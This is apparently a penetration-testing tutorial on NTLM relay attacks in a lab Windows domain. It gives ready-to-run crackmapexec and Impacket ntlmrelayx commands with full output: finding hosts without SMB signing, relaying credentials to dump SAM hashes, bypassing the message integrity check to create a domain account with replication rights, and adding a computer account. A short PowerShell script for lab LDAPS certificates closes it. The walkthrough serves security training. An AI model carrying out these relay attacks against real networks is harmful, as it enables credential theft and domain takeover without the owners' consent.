NTLM Relay Attacks

There are several ways an attacker can persuade a Windows host to connect to a malicious SMB server to intercept credentials.

However, intercepting NTLM-SSP credentials in this manner requires an attacker to break the hashed value, which can take some time.

An often quicker route to compromising hosts, is to relay credentials between systems.

SMB to SMB Relaying

Relaying NTLM credentials between hosts using SMB can be prevented using SMB signing, however this isn’t a default setting and rarely seems to be enabled on client systems.

It’s worth noting that since Microsoft’s MS08_068 patch, NTLM credentials cannot be relayed back to the host they originated from. Because of this, the source of the credentials will need to be different than the target.

To begin the attack, start by determining hosts on the network which don’t have SMB signing enabled using crackmapexec and output the list of hosts to a text file:

kali@kali:~$ crackmapexec smb 192.168.0.0/24 --gen-relay-list /tmp/targets.txt
SMB         192.168.0.3     445    WINDOWS1         [*] Windows 10.0 Build 17763 x64 (name:WINDOWS1) (domain:TEST) (signing:False) (SMBv1:False)
SMB         192.168.0.2     445    WINDOW2          [*] Windows 10.0 Build 17763 x64 (name:WINDOW2) (domain:TEST) (signing:False) (SMBv1:False)
SMB         192.168.0.250   445    WIN-SPGA3PDOMVL  [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:WIN-SPGA3PDOMVL) (domain:TEST) (signing:True) (SMBv1:True)

From the output, we can see SMB signing is enabled on the Windows server host which is a domain controller. Signing is enabled by default on server operating systems.

We can target the client systems which don’t have SMB signing enabled using ntlmrelayx from Impacket (https://github.com/SecureAuthCorp/impacket).

The example below shows the WINDOWS2 host attempting to authenticate to the attackers host. These credentials are relayed to WINDOWS1, and the contents of it’s SAM database are extracted;

python3 ./ntlmrelayx.py -tf /tmp/targets.txt -smb2support
Impacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation

[*] Protocol Client MSSQL loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Running in relay mode to hosts in targetfile
[*] Setting up SMB Server
[*] Setting up HTTP Server

[*] Servers started, waiting for connections
[*] SMBD-Thread-3: Received connection from 192.168.0.2, attacking target smb://192.168.0.3
[*] Authenticating against smb://192.168.0.3 as TEST\Administrator SUCCEED
[*] SMBD-Thread-5: Received connection from 192.168.0.2, attacking target smb://192.168.0.3
[*] Authenticating against smb://192.168.0.3 as TEST\Administrator SUCCEED
[-] Authenticating against smb://192.168.0.3 as TEST\Administrator FAILED
[-] 'NoneType' object has no attribute 'send_packet'
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] HTTPD: Received connection from 192.168.0.2, attacking target smb://192.168.0.3
[*] HTTPD: Received connection from 192.168.0.2, attacking target smb://192.168.0.3
[-] Exception in HTTP request handler: 'HTTPMessage' object has no attribute 'getheader'
[*] Target system bootKey: 0x5062b47b183427f814c3cbdad04994e6
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc525c9d83e8fe067a95ba2ddc971889:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:f27c0c12a5c94e851d73b4ce3a77d149:::
IEUser:1000:aad3b435b51404eeaad3b435b51404ee:fc525c9583e8fe067095ba1ddc971889:::
sshd:1002:aad3b435b51404eeaad3b435b51404ee:475a7dd05810c001c892853b88ba03a9:::
[*] Done dumping SAM hashes for host: 192.168.0.3
[*] Stopping service RemoteRegistry

The above will work provided the intercepted user account has local administrator privileges over the target host.

Since in most corporate environments vulnerability scanner and asset management systems will attempt to authenticate to any system within internal network ranges it isn’t an unusual scenario for the credentials to be sent to the attacker without having to resort to MITM attacks.

However, this doesn’t directly help us target the domain controller which has signing enabled.

SMB to LDAP Relaying

However, there is a another way to target the domain controller. By relaying an SMB authentication request to the DC’s secure LDAP port, we can create new domain administrator accounts (provided the victim user has these privileges).

python3 ./ntlmrelayx.py -t ldaps://WIN-SPGA3PDOMVL.TEST.LOCAL -smb2support --remove-mic
Impacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation

[*] Protocol Client MSSQL loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server
[*] Setting up HTTP Server

[*] Servers started, waiting for connections
[*] SMBD-Thread-3: Received connection from 192.168.0.2, attacking target ldaps://WIN-SPGA3PDOMVL.TEST.LOCAL
[*] Authenticating against ldaps://WIN-SPGA3PDOMVL.TEST.LOCAL as TEST\Administrator SUCCEED
[*] Enumerating relayed user's privileges. This may take a while on large domains
[*] SMBD-Thread-5: Received connection from 192.168.0.2, attacking target ldaps://WIN-SPGA3PDOMVL.TEST.LOCAL

ACE
AceType: {0}
AceFlags: {18}
AceSize: {36}
AceLen: {32}

Ace:{

    Mask:{
        Mask: {983551}
    }

    Sid:{
        Revision: {1}
        SubAuthorityCount: {5}

        IdentifierAuthority:{
            Value: {b'\x00\x00\x00\x00\x00\x05'}
        }
        SubLen: {20}
        SubAuthority: {b'\x15\x00\x00\x00\xfa\xdd^\x8boH\x1b\x15<\xea\xe0n\x07\x02\x00\x00'}
    }
}
TypeName: {'ACCESS_ALLOWED_ACE'}

ACE
AceType: {0}
AceFlags: {2}
AceSize: {36}
AceLen: {32}

Ace:{

    Mask:{
        Mask: {983551}
    }

    Sid:{
        Revision: {1}
        SubAuthorityCount: {5}

        IdentifierAuthority:{
            Value: {b'\x00\x00\x00\x00\x00\x05'}
        }
        SubLen: {20}
        SubAuthority: {b'\x15\x00\x00\x00\xfa\xdd^\x8boH\x1b\x15<\xea\xe0n\x07\x02\x00\x00'}
    }
}
TypeName: {'ACCESS_ALLOWED_ACE'}

ACE
AceType: {0}
AceFlags: {18}
AceSize: {36}
AceLen: {32}

Ace:{

    Mask:{
        Mask: {983551}
    }

    Sid:{
        Revision: {1}
        SubAuthorityCount: {5}

        IdentifierAuthority:{
            Value: {b'\x00\x00\x00\x00\x00\x05'}
        }
        SubLen: {20}
        SubAuthority: {b'\x15\x00\x00\x00\xfa\xdd^\x8boH\x1b\x15<\xea\xe0n\x07\x02\x00\x00'}
    }
}
TypeName: {'ACCESS_ALLOWED_ACE'}
[*] User privileges found: Create user
[*] User privileges found: Adding user to a privileged group (Enterprise Admins)
[*] User privileges found: Modifying domain ACL
[*] Attempting to create user in: CN=Users,DC=test,DC=local
[*] Adding new user with username: PXbOPEYmQI and password: 6(bp~f/-\TdTN'z result: OK
[*] Querying domain security descriptor
[*] Success! User PXbOPEYmQI now has Replication-Get-Changes-All privileges on the domain
[*] Try using DCSync with secretsdump.py and this user :)
[*] Saved restore state to aclpwn-20200130-215635.restore

To perform this attack, the SMB Message Integrity Code (MIC) needs to be bypassed using CVE-2019-1019 (–remove-mic flag), otherwise authentication will fail.

We can verify the credentials work by using crackmapexec to authenticate to the domain controller:

crackmapexec smb 192.168.0.250 -u PXbOPEYmQI -p "6(bp~f/-\TdTN'z" --shares
SMB         192.168.0.250   445    WIN-SPGA3PDOMVL  [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:WIN-SPGA3PDOMVL) (domain:TEST) (signing:True) (SMBv1:True)
SMB         192.168.0.250   445    WIN-SPGA3PDOMVL  [+] TEST\PXbOPEYmQI:6(bp~f/-\TdTN'z 
SMB         192.168.0.250   445    WIN-SPGA3PDOMVL  [+] Enumerated shares
SMB         192.168.0.250   445    WIN-SPGA3PDOMVL  Share           Permissions     Remark
SMB         192.168.0.250   445    WIN-SPGA3PDOMVL  -----           -----------     ------
SMB         192.168.0.250   445    WIN-SPGA3PDOMVL  ADMIN$                          Remote Admin
SMB         192.168.0.250   445    WIN-SPGA3PDOMVL  C$                              Default share
SMB         192.168.0.250   445    WIN-SPGA3PDOMVL  IPC$                            Remote IPC
SMB         192.168.0.250   445    WIN-SPGA3PDOMVL  NETLOGON        READ            Logon server share 
SMB         192.168.0.250   445    WIN-SPGA3PDOMVL  SYSVOL          READ            Logon server share 

Creating New Computer Accounts

Even if the account intercepted has no special privileges, we can still use this technique as a foothold into a network.
Standard user accounts have the privilege to create computer accounts. The below output shows ntlmrelayx creating a new user account on the domain using a standard user account.

python3 ./ntlmrelayx.py -t ldaps://WIN-SPGA3PDOMVL.TEST.LOCAL --add-computer test2 -smb2support --remove-mic
Impacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation

[*] Protocol Client MSSQL loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server
[*] Setting up HTTP Server

[*] Servers started, waiting for connections
[*] SMBD-Thread-3: Received connection from 192.168.0.3, attacking target ldaps://WIN-SPGA3PDOMVL.TEST.LOCAL
[*] Authenticating against ldaps://WIN-SPGA3PDOMVL.TEST.LOCAL as TEST\bob SUCCEED
[*] Enumerating relayed user's privileges. This may take a while on large domains
[*] SMBD-Thread-5: Received connection from 192.168.0.3, attacking target ldaps://WIN-SPGA3PDOMVL.TEST.LOCAL
[*] Attempting to create computer in: CN=Computers,DC=test,DC=local
[*] Authenticating against ldaps://WIN-SPGA3PDOMVL.TEST.LOCAL as TEST\bob SUCCEED
[*] Enumerating relayed user's privileges. This may take a while on large domains
[*] Adding new computer with username: test2$ and password: 4!!{252?Cp#tjRA result: OK

This newly created machine account can then be used with tools such as BloodHound to further identify attack paths within the domain.

Closing Notes

If you are trying this in a lab, a certificate will need to be configured for LDAPS to work. The following PowerShell script will generate a certificate that can be used for testing:

$domain_name = "test.local";
$dns_name = $env:computername + '.' + $domain_name;

$mycert=New-SelfSignedCertificate -DnsName $dns_name -CertStoreLocation cert:/LocalMachine/My;

$thumbprint=($mycert.Thumbprint | Out-String).Trim();

$certStoreLoc='HKLM:/Software/Microsoft/Cryptography/Services/NTDS/SystemCertificates/My/Certificates';

if (!(Test-Path $certStoreLoc)){
New-Item $certStoreLoc -Force;
};

Copy-Item -Path HKLM:/Software/Microsoft/SystemCertificates/My/Certificates/$thumbprint -Destination $certStoreLoc;